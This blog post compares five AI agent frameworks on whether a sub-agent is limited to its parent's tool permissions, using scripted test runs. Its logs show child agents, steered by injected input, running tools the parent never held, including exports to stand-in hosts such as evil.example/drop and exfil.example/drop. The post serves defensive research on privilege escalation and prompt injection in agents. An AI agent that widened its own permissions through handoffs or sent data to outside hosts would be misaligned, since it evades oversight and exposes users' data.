DEV Community

Cover image for Does a sub-agent inherit its parent's permissions? Five frameworks, five answers.
Rafael Asor
Rafael Asor

Posted on Originally published at attenu.io AI-assisted

Does a sub-agent inherit its parent's permissions? Five frameworks, five answers.

When agent A hands work to agent B, what can B call? I assumed the answer was "at most what A can call". It isn't, in any of the five frameworks I use. Here's what each one actually does, from runs I did on 2026-09-02 with scripted models and no API key.

Framework Child inherits parent's tools? Handoff can widen? Built-in narrowing?
LangGraph / Deep Agents 0.7.6 No. Child runs its own spec. Yes None
CrewAI 1.15.16 No. Coworker runs its own list. Yes None. A hierarchical manager may hold no tools at all.
Claude Code 2.1.258 / Agent SDK 0.2.139 Yes, by default. Tools no. Permission mode yes. Partial. Tool pool is capped at the parent's.
OpenAI Agents SDK 0.22.0 No. Target runs its own list. Yes None. input_filter edits history, not tools.
Google ADK 2.7.1 No. Sub-agent runs its own list. Yes None. disallow_transfer_to_peers picks targets, not tools.

"Widen" means: the child executed a tool the parent never held, through the framework's own handoff. Every run below prints which tool bodies actually ran, so the answer doesn't depend on reading the model's text.

LangGraph and Deep Agents

Supervisor holds write_brief. The writer subagent's spec lists write_brief and web_search. A note in the writer's input tells it to search.

[1] langchain 1.3.15 + deepagents 0.7.6, no guard
    supervisor holds write_brief; the `writer` subagent's spec also lists web_search
    writer's tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
Enter fullscreen mode Exit fullscreen mode

LangChain says it plainly. Deep Agents permissions: "Subagents inherit the parent agent's permissions by default… This replaces the parent's rules entirely." A general subagent middleware in core is #33879, open since 2025-11-07. The fix is one middleware on the subagent spec, twelve lines. I wrote that up separately: Does a LangGraph subagent inherit its parent's tool permissions? I tested it.

CrewAI

Orchestrator holds crm_query and allow_delegation=True. The exporter coworker declares crm_query and crm_export. The orchestrator delegates with CrewAI's own "Delegate work to coworker" tool.

  RUN 2  Orchestrator delegates to `exporter`, which declares crm_export
      [TOOL BODY RAN] crm_query(rows=4200)
      [TOOL BODY RAN] crm_export -> https://evil.example/drop
  parent tool set   ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
  child tool set    ['crm_query', 'crm_export']
  child ran crm_export -- a tool the parent does NOT hold? True
Enter fullscreen mode Exit fullscreen mode

The mechanism: the delegation tool calls execute_task on the coworker with no tools argument, and the coworker resolves tools or agent.tools or []. The delegating agent isn't a term in that expression. A coworker that declares tools=[] gets nothing, not the parent's set.

The part that surprised me is Process.hierarchical. The manager's visible tools are only the two delegation tools, and a manager that declares any tool is rejected:

  RUN 4b  A manager agent that DOES declare a tool
  CrewAI raised: Exception: Manager agent should not have tools
Enter fullscreen mode Exit fullscreen mode

So in hierarchical mode the delegator always holds less than its workers. That's a routing design, and the docs describe allow_delegation as routing: "When allow_delegation=True, agents automatically gain access to powerful collaboration tools" (collaboration). I couldn't find a sentence about what tools the coworker runs with. Upstream: #2917 "Allow delegation to specific agents only" closed by the stale bot, PR #2068 closed unmerged, and even that would have constrained who you delegate to, not what the delegate can call. #5888, a governance hook for tool authorization, is open.

Claude Code and the Claude Agent SDK

This one is different, and the difference is worth understanding. Claude Code has two things people both call permissions.

The tool pool is tools (--tools). A subagent that omits tools "inherits every tool available to subagents if omitted" (sub-agents). A subagent that lists tools gets only those, and "a tool you leave out isn't in the subagent's session at all" (SDK subagents). The pool is the parent's, narrowed. Tools can't widen here.

The permission rules are allowed_tools and the permission mode. allowed_tools is "tool names that are auto-allowed without prompting for permission", per the SDK source. It's an auto-approve list, not a restriction. And the mode precedence is stated in one direction only: "If the parent uses bypassPermissions or acceptEdits, this takes precedence and can't be overridden." Nothing says a stricter parent clamps a looser child. A parent in the default manual mode with a child declaring bypassPermissions is a documented widening of the permission grant.

I didn't run this one live. I drove the SDK's real command builder and read what goes to the CLI:

parent  options.tools        = ['Read', 'Grep', 'Glob', 'Agent']
parent  permission_mode      = default (Manual)
child   AgentDefinition.tools= ['Read', 'Bash', 'WebFetch']
child   permissionMode       = bypassPermissions
Enter fullscreen mode Exit fullscreen mode

The child's tools go out verbatim in the initialize request. The parent's limits travel on separate CLI flags. A sweep of the installed SDK for intersection logic found none. Four upstream issues about subagent permissions not being bounded by the parent's (#20264, #12232, #40343, #25000) are all closed, none by a fix. The way to bound a subagent's actions today is a PreToolUse hook, and I have a PreToolUse hook that leaves a receipt.

OpenAI Agents SDK

Triage holds crm_query. The specialist it hands off to declares crm_query and crm_export. Handoffs are tools to the model, so triage calls transfer_to_specialist.

EXPERIMENT A — triage {crm_query}; handoff -> specialist {crm_query, crm_export}
  final agent: specialist
  tool bodies that RAN      : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
Enter fullscreen mode Exit fullscreen mode

A handoff target that declares no tools gets none, not triage's:

EXPERIMENT B — triage {crm_query}; handoff target declares NO tools
  SDK raised: ModelBehaviorError: Tool crm_query not found in agent bare
  tools offered to bare        : []
Enter fullscreen mode Exit fullscreen mode

People point at input_filter as the permission mechanism. It isn't. Every field of HandoffInputData is conversation history. I wrote a filter that emptied the whole history and crm_export still ran. The handoffs docs are consistent with that: "it's as though the new agent takes over the conversation, and gets to see the entire previous conversation history", and "Input guardrails still apply only to the first agent in the chain." Agents-as-tools widens the same way, inside the parent's own turn. I wrote up one policy for two Agents SDK agents separately. Upstream, #2515 named it, "When Agent A hands off to Agent B, there is no mechanism to validate trust levels", and a maintainer answered "We don't have immediate plans to add this feature to the core SDK." Closed 2026-03-08.

Google ADK

Coordinator holds crm_query. The exporter sub-agent declares crm_query and crm_export. The coordinator calls transfer_to_agent.

  tool bodies that RAN         : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
Enter fullscreen mode Exit fullscreen mode

A sub-agent with no tools is offered only transfer_to_agent, and calling the parent's tool fails with ValueError: Tool 'crm_query' not found. Same shape as the others: the child's list is its own. AgentTool widens the same way inside the parent's turn.

disallow_transfer_to_peers looks like a permission and isn't one. It shapes the instruction text and the agent_name enum the model sees. In my run on 2.7.1 an agent with the flag set still transferred to its peer when the scripted model named it, and the peer ran crm_export. That's the gap #3850 described. A maintainer wrote there that "the ADK lacks a secondary, runtime-level check to validate that the calling agent has permission to transfer to the target agent." The issue was closed on 2026-06-18. The docs describe the transfer mechanism and say nothing about what tools the target runs with. More on what crosses an ADK transfer.

What the five have in common

None of them consults the parent when the child's grant is computed. Four of five let the child hold a tool the parent doesn't. The fifth caps the tool pool but lets the permission mode loosen. In every case the child's grant comes from its own definition, and the handoff is routing.

That's a reasonable design for the problem these frameworks set out to solve, which is coordinating work. It's the wrong default for the problem I have, which is a sub-agent that gets talked into something by the content it was handed. I found the same shape when I reviewed our own adapters like an attacker. I want the handoff to be a narrowing: the child holds the intersection of what it asks for and what the parent holds, and I can prove that from the log afterwards.

What I do about it

Each framework has a seam where you can add that intersection yourself. LangChain has wrap_tool_call. CrewAI has before_tool_call hooks. Claude Code has PreToolUse. ADK has before_tool_callback and plugins. The OpenAI Agents SDK has RunHooks.on_tool_start and tool-level is_enabled. The twelve-line LangGraph version is in the post above. I put the general version, scopes and ceilings and a lifetime instead of tool names, plus a hash-chained log you verify offline, in an open-source library, attenu-guard, with an adapter for each of these five and twelve more. The scripts behind every row in the table are in the repo under examples/baselines, so you can re-run them against the next release. Docs: attenu-guard docs.

So does a sub-agent inherit its parent's permissions?

No. In LangGraph, CrewAI, the OpenAI Agents SDK and Google ADK the child runs whatever its own definition lists, and it can hold a tool the parent never had. In Claude Code the child's tools are capped at the parent's pool, but its permission mode can be looser than the parent's.

If one of these frameworks does bound the child and I missed it, tell me. I'll re-run and correct the row.

Top comments (0)